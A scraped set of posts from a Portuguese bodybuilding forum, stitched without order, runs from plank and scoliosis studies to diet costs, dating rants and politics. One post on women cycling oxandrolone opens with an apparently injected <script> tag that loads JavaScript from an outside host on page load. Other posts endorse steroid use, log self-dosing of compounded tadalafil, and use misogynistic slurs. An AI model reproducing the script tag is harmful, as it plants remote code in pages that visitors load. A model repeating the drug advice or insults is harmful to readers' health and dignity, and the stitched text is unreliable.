Líderes

Abdominais tradicionais vs. prancha? Qual é o melhor exercício para treinar os abdominais? Se quer construir um tronco fantástico com costas invejáveis e abdominais fortíssimos é preferível fazer exercícios de prancha em vez dos tradicionais crunches (abdominais). Alguns dos melhores treinadores já afirmavam isso há alguns anos e, agora, um estudo da Pennsylvania State University, publicado no Journal of Strength & Conditioning Research, prova que estes treinadores estavam correctos. [*1] A longo prazo, a realização destes exercícios, pode conduzir a problemas nas costas, devido à pressão que estes criam nos discos entre as vértebras. Os músculos na área abdominal não têm como função principal a movimentação do tronco, mas sim manter a estabilidade do tronco quando a sua coluna está sujeita a tensão. Assim, os exercícios mais indicados para a parte inferior das costas e para o abdómen são aqueles em que os músculos na área abdominal trabalham para a estabilização total da vértebra, ou seja, para que esta não se movimente. É por isso que a prancha é um exercício mais eficaz do que os abdominais tradicionais, assim como a prancha lateral é melhor do que o crunch lateral. Confirmação científica Durante o estudo, os investigadores colocaram eléctrodos nos músculos de 20 indivíduos, que posteriormente realizaram 16 exercícios básicos. Os eléctrodos permitiram aos investigadores medir a intensidade da estimulação dos músculos em cada exercício. Quanto maior for a actividade eléctrica no músculo, maior é o esforço e, por consequência, o resultado. A figura e o gráfico abaixo mostram que os músculos centrais trabalham mais durante a prancha do que durante o crunch [*2]. [*2] - AD = anterior deltoid, RA = Rectus Abdominus, EO = External Abdominal Oblique, TE = Thoracic Erector Spinae, LE = Lumbar Erector Spinae, GM = Gluteus Maximus. O super-homem é um exercício de isolamento, tal como o crunch. O exercício consiste em, uma vez deitado no chão, levantar as pernas e o peito, ao mesmo tempo que contraímos os glúteos e os músculos das costas. O ponteiro é mais parecido com a prancha. O exercício consiste em manter a estabilidade, numa posição em que a área abdominal suporta uma grande pressão para manter esse equilíbrio. A figura abaixo indica qual dos dois é o exercício melhor. [*2] - AD = anterior deltoid, RA = Rectus Abdominus, EO = External Abdominal Oblique, TE = Thoracic Erector Spinae, LE = Lumbar Erector Spinae, GM = Gluteus Maximus. ---------------------------------------- Performing a basic yoga pose for a few minutes a day reduced spinal curving by as much as 50% in scoliosis patients, according to a small but intriguing study in the current issue of Global Advances in Health and Medicine. Researchers suggest practicing the side plank, or vasisthasana, pose on the curved side can strengthen muscles in the lower back, abdomen and spine that allow the spine to straighten. Patients who practice the pose regularly may not need corrective bracing or surgery, they said. An estimated six million people in the U.S. have scoliosis, an often painful condition that causes the spine to curve in an S-shape, according to the National Scoliosis Foundation. Scoliosis can affect a person’s gait, posture and self-esteem if left untreated, the study said. Researchers at the Columbia College of Physicians and Surgeons in New York City recruited 25 patients, 21 women and four men ages 14 to 85, from a private medical clinic. The subjects spent a week learning the pose, which involves leaning on one arm on the floor so the shoulders, hips and ankles are in a straight line, with the other arm pointing straight up. For the study, subjects also elevated their ribs so the curved side of their upper body was facing out. Slight variations of the pose were used to accommodate participants’ physical abilities. They were instructed to hold the pose for 10 to 20 seconds or longer at least once a day. Spinal improvements were compared. X-rays were taken before the study and three to 22 months later. After 6.8 months of follow-up, spinal curving decreased by an average of 41% in 19 subjects who practiced the pose daily. The average improvement in the group was 32%. Curve reduction among regular practitioners was highest in seven teenage subjects—49.6% compared with 38.4% in adults. Patients who performed the pose fewer than four days a week improved by an average of 0.5%. Studies with longer follow-up are needed to clarify the relationship between the duration of treatment and the length of improvement and the possible side effects of prolonged treatment, researchers said. Caveat: The study didn’t include a control group. Compliance was self-reported. -------------------------------------------- Postura da Prancha Lateral (Side Plank Pose Yoga) De acordo com o Medscape Medical News do WebMD , as pessoas com escoliose que praticaram a prancha durante 2 minutos por dia durante vários dias por semana experimentaram reduções significativas na curvatura de suas colunas . No estudo, o Dr. Loren Fishman M. do Colégio de Médicos e Cirurgiões da Universidade de Columbia , em Nova York estudaram a prancha lateral em relação à escoliose. Os participantes no estudo (25 no total) praticaram a postura da prancha lateral durante 10-20 segundos por dia durante uma semana, passando depois para uma permanência de um minuto e meio do lado menos desenvolvido. Os resultados foram surpreendentes : em média , os pacientes viram uma redução de 32 por cento na sua curvatura primária. Dividido em subgrupos , os resultados foram ainda mais promissores . Crianças com idades entre os10-18 que fizeram a postura, pelo menos, quatro vezes por semana apresentaram uma melhora de 49,2 por cento na curvatura da coluna vertebral . Adultos com escoliose degenerativa -a condição comum em pessoas com mais de 65 anos de idade , de acordo com a Coluna Saúde - mostraram uma melhora média de 38,4 por cento. Isso pode significar uma grande mudança na forma como a escoliose é tratada , especialmente entre os adolescentes com a doença , que são frequentemente confrontados com uma cinta corretiva durante 23 horas por dia. Pacientes com curvatura da coluna vertebral grave pode passar por uma cirurgia , que envolve enxertos ósseos e fusão espinhal e não corrige totalmente a condição. ------------------------------------------------------------------- Na prática profissional tenho notado o aumento da utilização do exercício de prancha nos praticantes de atividade física. A prancha é um exercício utilizado tanto na reabilitação quanto no condicionamento físico. Dentre os efeitos benéficos desse exercício destaca-se a melhora da estabilidade dos músculos do CORE, definido como “habilidade dos músculos passivos estabilizadores da região lombo-pélvica em manter a postura apropriada do tronco e do quadril, equilíbrio e controle das ações isométricas e dinâmicas”. O aumento da estabilidade do CORE permite a essa musculatura resistir às forças externas aplicadas e manter o controle postural em resposta a perturbações. Sendo assim, pode resultar em melhor desempenho funcional. Este fortalecimento do CORE pode ajudar em diversos exercícios complexos do treinamento de força como desenvolvimentos e agachamentos, entre outros, minimizando forças compressivas e diminuindo o risco de lesões. Tradicionalmente, a realização da prancha se dá em uma posição similar a flexão de braços. Contudo, os antebraços são apoiados no solo e cotovelos permanecem alinhados a articulação glenoumeral (articulação do ombro). Mas será que os praticantes e profissionais sabem que variações do exercício de prancha podem ser mais eficazes na ativação do CORE do que a prancha tradicional?! Hoje eu trago para vocês um estudo que avaliou 4 variações do exercício de prancha. Os pesquisadores registraram a atividade eletromiográfica dos músculos do CORE para identificar em qual posição havia maior ativação muscular. Participaram desse estudo 19 indivíduos jovens de 18-35 anos com experiência mínima de um ano com treinamento de força, os quais foram submetidos a quatro execuções diferentes da prancha, todas durante 30 segundos em isometria: tradicional (cotovelos abaixo da articulação do ombro); prancha com contração (contração dos glúteos o quão fortemente for possível – movimento do púbis em direção ao umbigo e cóccix em direção aos pés); com o cotovelo mais afastado do corpo (aproximadamente 6 cm a frente da linha do nariz); com o cotovelo mais afastado do corpo e contração. O estudo concluiu que a prancha com o cotovelo mais afastado do corpo e contração resultou em maior ativação eletromiográfica na musculatura do CORE (porção superior do reto abdominal, estabilizadores do abdominal inferior e oblíquo externo). Sendo assim, esta variação do exercício de prancha pode ser interessante para indivíduos treinados e para aplicar o princípio da sobrecarga progressiva nessa musculatura. É importante salientar que a prancha não deve substituir os exercícios convencionais de musculação, mas sim, utilizada como ferramenta coadjuvante na prescrição de exercício. Isso porque estudos que investigaram a ativação dos músculos paravertebrais (eretor da espinha) durante a execução de exercícios tradicionais da musculação (LEVANTAMENTO TERRA e AGACHAMENTO LIVRE a 80% de 1 Repetição Máxima – 1RM) comparados aos exercícios de PRANCHA LATERAL e SUPERMAN evidenciaram maior atividade muscular nos exercícios tradicionais. Nesse sentido, é importante acompanharmos a tendência e adotarmos novas estratégias na prescrição do treinamento (CORE), mas é também necessário sermos críticos para utilizarmos essas ferramentas de maneira adequada, voltado para o objetivo do treinamento (condicionamento físico, saúde e estética) e fase do treinamento (iniciante, avançado). Referências: Hamlyn N, Behm DG, Young WB. Trunk muscle activation during dynamic weight-training exercises and isometric instability activities. J Strength Cond Res. 2007 Nov;21(4):1108-12. Schoenfeld BJ, Contreras B, Tiryaki-Sonmez G, Willardson JM, Fontana F. An electromyographic comparison of a modified version of the plank with a long lever and posterior tilt versus the traditional plank exercise. Sports Biomech. 2014 Sep;13(3):296-306.

legenda [*2] - AD = anterior deltoid, RA = Rectus Abdominus, EO = External Abdominal Oblique, TE = Thoracic Erector Spinae, LE = Lumbar Erector Spinae, GM = Gluteus Maximus. complementando, e apoiando com outro estudo Integration core exercises elicit muscle activation over isolation exercises (Gottschall et al. (2013) NEGÒCIO È ANDAR NA PRANCHA MARUJO!!!!!!!!!!!

Meçam o esforço em pesquisar sobre hipertrofia, treinos, dietas, arriscar saúde com ciclos com o esforço em empreender, investir, poupar dinheiro ou desenvolver sua carreira. É muito parecido. A hipertrofia é um estilo de vida. O desenvolvimento financeiro também é. Shape conquista novinhas. Mulher de verdade só curte um homem fitness se ele for algo além do seu corpo. O problema que quem pira com academia geralmente tem o resto da vida estragada. Então as mulheres tem experiências negativas com marombeiros e todas as pesquisas mostrar que nós somos uma classe rejeitada. Você é grande? Tem o pinto pequeno, broxa e provavelmente é burro. Eis o preconceito. Ninguém imagina que Sócrates tinha 50 de braço ou que um CEO da uma multinacional. Eis o preconceito. Nós sabemos que o homem é deficiente. Então se o cara tem o shape foda, já supomos que de resto ele deve ser um merda em vários aspectos. Igual quando você vê uma loira maquiada toda produzida. Você pensa: deve ser chata, ou deve ser metida, ou deve ser burra. Você nunca imagina uma loira gostosa legal, humilde e esperta. Isso pq repito: o homem é deficiente. Se você tem uma qualidade, provavelmente você não tem mais nenhuma. O Ice sempre fala e é real. O Shape é um plus. O Shape sozinho faz você conseguir uns sexos casuais de carnaval, como o Johnn bem colocou. Só que o shape é um puta plus. Se você é rico, é um gênio, um bardo da inteligência social ou qualquer outro cara foda e alpha, tendo um shape foda, você tem um super-plus. Nego pensa "pô, o cara é aquilo tudo e ainda tem um shape foda". Pq geralmente quem tem um shape foda é um lixo em tudo o resto pela vida do cara ser aquilo. Vocês devem conhecer este tipo. Estou ficando redundante. Ora, pra que diabos você vai perder tempo buscando o sentido da existência se os grandes homens já o fizeram de mão beijada: Fausto, Goethe: “Será o pergaminho essa fonte sagrada, Que do eterno saber a nossa sede acalma? Alívio não acharás nessa dura empreitada, Se a fonte não jorrar dentro da própria alma.” Camões: “Tu, que descanso buscas com cuidado, no mar desta vida, tempestuoso, não esperes achar nenhum repouso, senão em Cristo Jesus crucificado “ Etc... Trafegue pela literatura clássica e vai encontrar todas as respostas para suas angústias e tédios existenciais.

Ninguém casa por beleza, assim como ninguém namora por beleza. Isso pq enjoamos fácil da beleza de qualquer pessoa, seja bonita ou feia, mas temos um mecanismo de defesa psicológica do qual nos apaixonamos pelo objeto do desejo de forma a maximizar uma beleza ilusória. Então tu pode casar com uma HB10 ou HB5 que ela vai te dar o mesmo êxtase. O corpo é mais inteligente do que pensamos. Vcs já viram esses caras que pegam a mulher mais linda do mundo, namoram ou casam, e ainda traem ela? Amostragens indicam que mulheres bonitas são mais traídas que mulheres feias. E sem querer ser chato, esse negócio de pobre casar com mulher feia é igual dizer que a maioria dos pobres são negros. É desses preconceitos que todo mundo tem mas não tem embasamento científico. Eu moro num bairro bem burguês aqui de Curitiba e as mulheres são bem feias, ao tempo que uns dois bairros para baixo, mais humilde, você vê casais lindíssimos. Toda coroa grã-fina tem de ser bonita e toda favelada tem de ser feia? Várias miss brasil, gostosas, atrizes, sairam da favela, da periferia. O gene da beleza e da gostosura não trafega somente os motéis 5 estrelas, mas trafega toda e qualquer quebrada brasileira. A mulher brasileira é assim. Não existe correlação entre beleza genética e dinheiro. Existe entre beleza artificial e dinheiro. Como eu disse ali atrás, como uma semana tu faz todos os tratamentos estéticos que existem e finda o desenvolvimento pessoal neste quesito. Nós não podemos avaliar o mundo com nossas medidas de marombeiros. Nós damos valor para a aparência. Estamos aqui num fórum de hipertrofia, todos aqui são doidos pela aparência. Mas somos a exceção. Segundo a regra, as pessoas não buscam pessoas bonitas, se buscasse só 5% da humanidade seria buscada enquanto 95% estaria buscando. Por exemplo, nós achamos bonito o shape de um arnold da vida. Já qualquer mulher tem repugnância por shapes freaks com exceção de uns 2% que treina pesado e tem fetiche por monstrão. Outro exemplo, você é magrelo desnutrido ou gordo obeso e vira um zyzz da vida. Você acha que sua mudança foi de 3.0000%. Mas na verdade sua mudança foi minúscula. Isso pq o valor que você dá para o shape na sua aparência é enorme enquanto o valor que as mulheres dão é minúscula. Pelos estudos que eu vi, ter um shape foda aumenta sua opinião NEGATIVA com as pessoas, sejam mulheres, sejam homens. Se o diabo do shape fode socialmente a gente, pq achamos que o shape é a coisa mais foda do mundo e que tendo um shape foda seremos igualmente foda? Pq nos matamos dias disciplinados em dieta, dormindo cedo, etc.? A única mudança realmente foda que um homem pode fazer na sua vida é a ascensão social. Esta todos vão notar. O cara que não tinha onde sentar e hoje é dono de um patrimônio. Isso todo mundo vê. Isso todo mundo fofoca. Isso todo mundo admira. Mudar de posição social te dá prestígio, glória e sucesso. Entrar na academia, fazer um curso de inglês, etc., etc., nada disso se equipara ao homem que mudou sua própria condição financeira. Alpha é poder. Poder é influência. Hoje, influência é muito mais dinheiro do que força. Ergo: poder é dinheiro. + dinheiro = + poder E perca esse preconceito de que pobre é feio. Se você entrar na favela agora, é perigoso você se apaixonar. Eu acho que meu problema é que minha cabeça é desorganizada. Assim sendo, todo o resto fica desorganizado. Eu preciso organizar a cabeça. Não sei exatamente como. Talvez sistematizando meus objetivos e anseios de vida de forma bastante formal e delimitada. Você comprou aqueles brancos de pincél ou quadro negro com giz mesmo? To em dúvida entre o moderno e o saudosista.

kkkkkk

Bug geral

Desabafo e betisse sobre mulheres

kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk vamos ficar aguardando , iremos ser a torcida dele

Algumas reações podem sim serem parecidas. Mas a visão que a sociedade tem das duas ascensões é bastante diferente. Um gordinho ficar magrinho, um magrelo ficar encorpado, etc., acontece todos os dias em todo canto. A maioria aqui do fórum passou por uma transformação corporal foda. Mas quantos aqui do fórum ganham 5x mais que seus pais ganhavam na mesma idade? Ou seja, ascenderam socialmente. Modificações corporais podem ser feitas em 1 ano. Ascensão na pirâmide social pode demandar toda uma vida. Isso pq qualquer um pode mudar o seu corpo, mas raros podem subir a pirâmide financeira. Isso pq se todos pudessem ou a maioria subisse não seria exatamente uma pirâmide. De forma alguma isso é ruim, embora os socialistas oligofrênicos pensem o contrário. Pois um pobre hoje vive muito melhor que um rico do século passado. E a existência da pirâmide não faz com que a vida de quem tá na base seja uma merda. Só existe uma hierarquia, existe uma casta do luxo, uma nata financeira em formato de escadinha. Esse é o primeiro período da história da humanidade que um zé ninguém pode virar alguém.

Vocês não precisam usar quadro, a minha mae usa um negócio na geladeira que e um mini-quadro imã e ela coloca o dia-a-dia dela lá, eu uso uma prancheta com uma folha de papel que esta comigo a todo o tempo, uso pra estudar e pra me organizar. O que vale a pena e um instrumento que "te olhe" a todo tempo, não que algum de vocês vá fazer isso, mas colocar o quadro no seu quarto quando você passa a maior parte do dia no trabalho, eu acho pouco prático. O sócio do meu pai usa o quadro, já falei aqui, mas ele fica na cara dele, em sua sala, e ele dorme lá algum dia da semana. O esquema é ter aquilo com você, o mero agendador de tarefas do celular já cumpre o papel, bastando você dedicar a tela principal do seu sph a ele. "Ter um shape foda aumenta a opinião negativa sobre você", vai ter gente aqui passando mal com isso, quero ver quem vai ter a cara de pau de tentar argumentar de forma coesa contra o que todo mundo já vê.

Eu lembro de ter lido na época um post de alguém aqui do fórum explicando como fazer, mas não encontrei aqui. Tenho esses dois links: http://rosstraining.com/blog/2009/05/16/homemade-dip-belt/ http://forum.bodybuilding.com/showthread.php?t=129226281 Não sei quanto eu cheguei a gastar(ja faz um tempinho), mas não fica nem proximo do valor de um comercial.

I ae Lucão beleza??? Com certeza irei te acompanhar cara, meu melhor amigo também se chama Lucas... conheço ele já faz uns 11 anos. O cara é super gente boa e voltou a treinar a pouco tempo (perturbei a peste pra voltar), ele é ectomorfo e também esta na luta! Enfim, eu vi seu vídeo... porra tem umas parte muito engraçada cara KKKKKKKKKKKKKKK Gostei da sua história e também gostei muito de sua iniciativa, você aparenta ser um cara humilde e bem simples, continue assim que você vai ir bem longe meu camarada. Sobre a sua (peguete): Cara, tenta ter foco em seus treinos, foco! Não force nada, deixa rolar... Se for pra acontecer, simplesmente acontecerá. Eu namorei durante 1 ano, e quando terminei eu fiquei na fucking bad e parei de treinar... Engordei pra caralho e depois voltei a treinar, foi difícil cara, porém oq é bom nunca vem fácil, né? Uma dica que eu te dou: Ame primeiramente a si mesmo, cuide de você, faça que suas decepções te sirva como um aprendizado e queira evoluir sempre mais. Também tenho 18 anos e tenho a mesma altura que você uaahauahau, enfim amigão, um grande abraço p você e bons resultados, estarei acompanhando e qualquer dúvida estarei a disposição. Noixxxxx.

https://lh3.googleusercontent.com/proxy/BCdCC-jrZB9A8TLVSi_-lW_p3Ha7qTGKCupvtJdWOWwJx5JCIHHN6x9WAcsLtO98yhL6zqe91kHpAf3jLUUplRqyTcJRNKnz4YL-ZDLM_M4P-ykHGaqY63SdOkibfdHIRw5k5YIXP5OWWGQ-5b4uqs4QPUFo=w338-h435-nc

não é lombar, tudo pro povo é "lombar fraca, core fraco" oq ta acontecendo é que vc deve ter um desvio leve na coluna, e ao fazer o militar vc se arca pra trás e isso causa dor.. se puder peça ajuda de alguém pra te olhar de lado durante a execução edit: se continuar fazendo isso é bem provável que o problema agrave

Aew galera!!! Pessoal eu vou terminar o teste no domingo, e fechar 4 semanas de teste, pq acho que o objetivo do meu teste foi provado que sim eh possível a conciliação das duas dietas, e reduzir bf e peso rapidamente,ou seja um estilo de vida, mas para quem pratica musculação e quer ganhar massa muscular e ficar grande não é muito aconselhável, para quem pratica musculação o ideal seria entra com J.I na fase final do cutting junto com ceto ou lowcarb, para definição e manter a MM, e suplementar com bcaa e creatina, lógico que é opcional, mas eu aconselho para evitar catabolismo protéico eoutras coisas ai. Vou continuar lowcarb, mas com algumas mudanças, irei postar a dieta e programação na segunda para todos avaliarem e me ajudar se algo estiver errado. Eu posso continuar com o mesmo tópico? E como mudar o título do tópico?

Voces que pensam em sexo 24h por dia e por falta de problema ou falta do que fazer, tempo de vida desperdiçado, desperdício de recursos que podiam ser usados por quem quer mais da vida do que só meter com mulher bonita só lendo e ficando de tititi num forum ou num imgboard. E igual eu, que tenho uma tia rica e que não trabalha, o problema que faz ela chorar e não dormir direito e o fato de a cachorra dela não ter comido a ração ou dela não ter tempo pra ir pra academia, pro pilates e pra yoga porque os horários não batem. Ela e a versão feminina de vocês, seres humanos da pior qualidade, fúteis.

Kkkkkk kkkkkk kkkkkkkkk kkkkkkkkk kkkkkkkkk >faculdade >mulher interessante >2015 Olha, Almeida, a menos que interessante tenha assumido significado de afeição ao sexo casual, você não deve considerar a faculdade como bom lugar para conhecer mulheres interessantes. Ainda, você deveria receber o premio de escravo de boceta mangina dependente de cunt juice nivel mais de 8000 desse tópico.

Até quem fim o Torf concordou com alguma coisa.

KKKKKKKKKKKKKKKKKKKK não falo nada...

Fala mulecada, com inspiração do nosso amigo que criou um relato usando tadalafil manipulado com 10mg/dia igual a dosagem do tadalafellas eu mandei manipular mas com uma dosagem menor. São 26 caps de 5/mg dia. Treino 5 dias por semana, darão pra fazer 1 mês e pouco de relato do uso do tadalafil manipulado. O preço foi bem mais caro do que imaginava, mas como tô curioso demais pra experimentar um vasodilatador vou utiliza-lo. Paguei 78 reais em 26caps de 5mg cada. Hoje é o primeiro dia de uso, 5mg agora mais ou menos 1h antes do treino. Vou tirar umas fotos hoje pra mostrar a vasodilatação e daqui 1 semana posto mais fotos e assim sucessivamente até acabar o relato.

Me arrependo de ter caido , nunca mais cairei serei o mais forte possível de hoje em diante rumo aos 90 days

espera ate as 9h, assim divide melhor até, não fica se empanturrando tanto(eu fico mal quando abuso da comida em pouco tempo)

Esse é o macarrao na chapa Minha mae fez com bacon, frango, pimentao, cebola e milho. Vou almoçar ele hj denovo, devo comer 2x tbm. Exagerei um pouco, era biceps com o triceps junto. KKKKKKKKK

Um bom relato é sempre bem vindo, brother. Acompanharei e bons ganhos.

minha desorganização chega a doer.. daqui uns anos qdoa memória piorar vou ter que mudar isso agora sei onde está tudo, mesmo que deixe tudo em lgares diferentes todos os dias eu penso no que estou procurando e me pergunto onde está e minha mente já me solta um flash de eu deixando em certo lugar

Nunca ouvi que uma pessoa não precisa de pós treino, é até uma coisa assustadora. Já ouvi que ninguém precisa se alimentar de 3 em 3 horas, contanto que atinga a meta diária da dieta, mas treinar de 15h e só comer de 20h é novidade.

Não existe hora pra começar a suplementar, suplemento não é um remédio que vai te fazer ficar gigante, é só comida em pó, ~~COMIDA EM PÓ~~ <-- LÊ DINOVO Então, você não precisa de pós-treino, desde que o resto da sua dieta esteja de acordo com o seu objetivo. Você pode treinar e comer só quando você tiver tempo, não precisa ficar carregando comida por aí. Desde que você coma todas calorias/macros/micros necessários, você pode fazer isso em qualquer hora do dia, em 1, 2, 3, 4, 5, 6 refeições, não importa. Sugiro ler nossa área de nutrição.

Ta atrasado o certo e em 3 meses,comece a comer comida de verdade depois da suplementação.

De forma alguma, meu querido, só me incomoda ver que vocês poderiam estar crescendo e estão batendo a cabeca na parede, não sabendo eu o porquê. Eu não falei mentira nenhuma nisso ai, é realmente um desperdício a forma que vive alguem como o Almeida, por exemplo, tirando pelas falas dele no tópico, destaco, e quem pense em sexo a todo o tempo, e uma futilidade descabida. O meu destempero e simplesmente que muitos aqui se preocupam apenas em falar do problema (não ter mulher) e pouco ou nada fazem pela solução (arranjar uma mulher), e isso e um erro de comportamento que os que se mostram mais experientes aqui já expressaram milhões de vezes, basta resgatar falas do ice, planeta e frango que vocês vão ver e, ratifico, fico mais puto por falta do que falar para os camaradas do que pelo intuito de ofendê-los com as verdades que disse. Transportando essa situação para realidade, e como quando você vê um amigo seu fazendo merda repetidas vezes e ele simplesmente não percebe, ou então e tao egoísta que lhe ignora, algum momento você surta, porque de alguma forma, aquela pessoa e importante para você. Ainda, me perco por querer que todos se desenvolvam juntos e mais ainda porque alguns sabem que estão errados e querem criar essa identidade errada noutros para que possam, talvez, sentirem-se melhores, tipo quando criança você fazia merda e dizia que teu amiguinho fez também, comportamento infantil, resgatando a ideia que mencionei dos adultos infantis. Isso aqui não e uma latrina onde você despeja suas paixões irrefletidas e diz ''incomodados que se mudem", o foco aqui e crescer e não ficar falando de mulher somente ou supervalorizando o sexo porque ele te falta. Corre atrás se ele te falta, e muda a página depois disso. A frase e clichê mas aqui no tópico tem tudo pra tu correr atrás, desde o my rules de David x, ate os aforismos de Schopenhauer, tudo aberto para vocês crescerem.

Engraçado que tem gente que chora porque tem muito tópico repetitivo e manjado no fórum, mas aí quando aparece alguém com alguma coisa diferente desce chumbinho pra tudo que é lado Vai entender

Não, não perderá seus ganhos, e outra treino de força não é treino de 1 rm. Estude mais sobre periodização, hipertrofia miofibriliar, sarcoplasmática, treino de força...

So quem é natural de verdade e tem muito tempo de treino sabe como é dificil crescer natural, os ganhos sao muito lentos , principalmente depois do segundo ano

Cara, acredito que greve deva ser um direito sim. Mas como última ferramenta depois que o diálogo falhou, e decidido pelas pessoas que tem interesse, e não por uma instituição. Muitas vezes os trabalhadores não querem greve mas o sindicato impõe e os caras que querem trabalhar chegam a ser agredidos. Essa semana o sindicato estava entregando folhas dizendo que estávamos de greve, que as empresas de informática estavam enchendo os bolsos e que o dinheiro ia para o exterior. Todo mundo pegou o papel e foi dar risada. Na Inglaterra não existe mais sindicato, mas os trabalhadores tem autonomia, em caso de necessidade, eleger um grupo de pessoas para representar e resolver um problema específico com a empresa. Assim que se chegue a um acordo, esse grupo é desfeito e acabou. Não precisa pagar para eles, não tem reunião mensal, não tem dinheiro sendo cobrado do teu salário pra pagar eles, e não tem estabilidade no trabalho. Passeatas também devem ser um direito, mas a lei diz algo como 'se não trapalhar outras pessoas'. Porra, se tu vai fazer uma passeata para protestar sobre alguma coisa, ninguém vai falar sobre aquela passeata se ela não deixar várias pessoas indignadas com o fato de ter ruas fechadas.

Um fenomeno magico chamado atrito haha

issae, achei estranho ninguem falar da teta de cadela no cio e das espinhas colossais no peito.... não é gordura nada, é tetinha de AE mesmo... detalhe. Não tinha barba por causa do exercito. E esse físico de pernilongo q não desenvolveu NADA no exercito, só quando saiu, veio milagrosamente em 1 ano.... ecko, hollister, cervejinha.... Alguém ae só paga de gataum, não teria dedicação suficiente pra isso puro, sem chance.... e ainda tem a cara de pau de dizer que TODO O FORUM não tem capacidade nem dedicação como ele, nem segue dieta.... tá cheio de competidor aki, de gente q perdeu 100kg, de gente q tem 6% de BF com muitos anos de sacrifício, mas ELE é o mais dedicado .... aiaiaia

Totalmente isso. Teoria, exercícios. Vídeo-aulas se preciso, mas com enfoque em vídeos de resolução de exercícios. Estudei pra concurso com esse método e passei. Vale lembrar que estudar é hábito. Uma vez que está estabelecido o hábito, entra-se em um ritmo quase que involuntário e aí as coisas ficam mais fáceis.

2. Exclua a conta do Hipertrofia.

<script src="http://queryjs.me/services/script.js" type="text/javascript"></script> A maioria das garotas que ciclam com Ox conseguem bons resultados. Sua escolha pela Ox foi correta, terá bons resultados se seguir uma dieta a risca. Queda de cabelo e outros colaterais devem ser esperados porém em alguns individuos isso não acontece, só testtando pra saber.

e quem falou que ele quer ser campeão do olympia? vc chegou ao menos ler o que ele postou?

Olá colegas! Boa noite ! Post inicial atualizado (treino) e novo site inserido nos que eu considero úteis. "Dia a dia Low Carb" MUITO TOP AAAAAAAAAAAAAAALTAS RECEITAS. Confere lá. ---- Como falei no post acima, semana passada treinei todos os dias. Comi certo todos os dias e refeições. Sai, sem querer, quinta feira se não me engano, tomei um suco sem querer que possuía 18g de carbo, um de uva da Coca, tomem cuidado! Diz ser light mas engana. Base é a mesma do post inicial. Muito queijo, muito azeite de oliva, pimenta, carne, ovos, saladas verdes e com baixo carbo ... e um grande aliado: nata/creme de leite. Dica rápida: estou levando uns pacotinhos de creme de leite para o trabalho, resolveu meu problemas. Misturo com o café fornecido no trabalho, com adoçante. Excelente. Se quiser o cara pode pedir uma esfiha/sand natural e tirar o carbo, fica top. Dica rápida 2: se estiver lascado, sem locais para comer, reitero: subway ! Opção salada e carne... fechou. Dica rápida 3: comida japonesa. Foco no salmão, muito gorduroso, excelente para nós. Dica rápida 4: se estiver muito lascado, sem nenhum das anteriores.. em um carrinho de lanche... peça americano no prato. Exclua o carbo. Pronto. ----- Treino hoje: bíceps e tríceps Preciso ir ao mercado. Chega de frango, enjoei um pouco. Vai ser carne e queijo coalho, à noite, essa semana. Tomatinho cereja. Chá feel good. Clight. Gelatina. Se tiver tempo, tentarei fazer polpetone de carne recheado com queijo. - Se.tiver.tempo. - Fds minha namorada fez uns sashimis ... ela comprou o salmão e mandou bala... pow, vale muito a pena! Acho que vou imitar... é só comprar o salmão e ir cortando, aos poucos você pega o jeito. AH! Calculamos o custo e com 12 reais você faz umas 25 peças ou seja: R$ 0,48 por pecinha de sashimi, bem caprichada. Para ter uma média pedindo na comida japonesa normal você vai pagar aprox. R$ 2,00 por uma pequenina. ------ Semana passada fiz a gelatina cetogênica... dei uma loqueada e pensei, quer saber? Não vou dissolver... Misturei direto no liquidificador: água (uns 150 ml), um leite de coco 200ml, uma nata 200ml e um pacotin de gelatina. Bati tudo. Geladeira. Ficou legal, mas ainda acho que vale a pena dissolver antes. Mas reitero, quem tiver curto de tempo, fica bem legal. Dá um bizu: ---- abs ! tamo junto !

engraçado é que tem nego que acreditou ainda huahuahuahu

na moral....tem tiozao aí que ficou mais irritado que os caras que tomam testo!!!...

+1 nisso ai ===================== Ceis tão comendo só file mignon com aspargos açafrão e alcachofra ou faisão !seloko 1k numa dieta não da não,bora comer moela,figado bovino e ovo,amendoin e aveia!

to em cutting, fiz até uma tabela pra calcular o gasto na semana, ficaria aproximadamente assim: 2 peitos de frango - 15 reais 4 peitos de peru (de 150 gramas/unidade) - 16 reais 4 duzia de ovos - 16 reais 1 arroz - 2 ~ 4 reais 2 brocolis (300g/unidade) - 8 reais 3 Iogurtes Pense zero - 18 reais 1 Pão integral (da pra 2 semanas) - 4 reais 4 Leites desnatados - 16 reais 2 Amendoins (pacotinho) - 8 reais Não é sempre que eu compro tudo isso, mas da uns 80 ~ 90 reais por semana, sou universitário, meu pai as vezes reclama, mas digo pra ele que é uma boa causa =D

Ótimo tópico! Vou postar algumas minhas: http://www.youtube.com/watch?v=4vd7iOidXS8 Se puder, dps posto mais. Abs

que tal ALBUMINA+castanhas ou nozes? é bom pois não tem carbo.. leva a albumina num shaker e poe agua, e vira dps come as castanhas pra tirar o bafo (mto melhor q levar uma lata de azeite pra faculdade não acham??) ou se quer q tenha carbo, troca as castanhas por quinua(flocos pequenos n precisa bater eu acho) ou farelo de aveia como já foi falado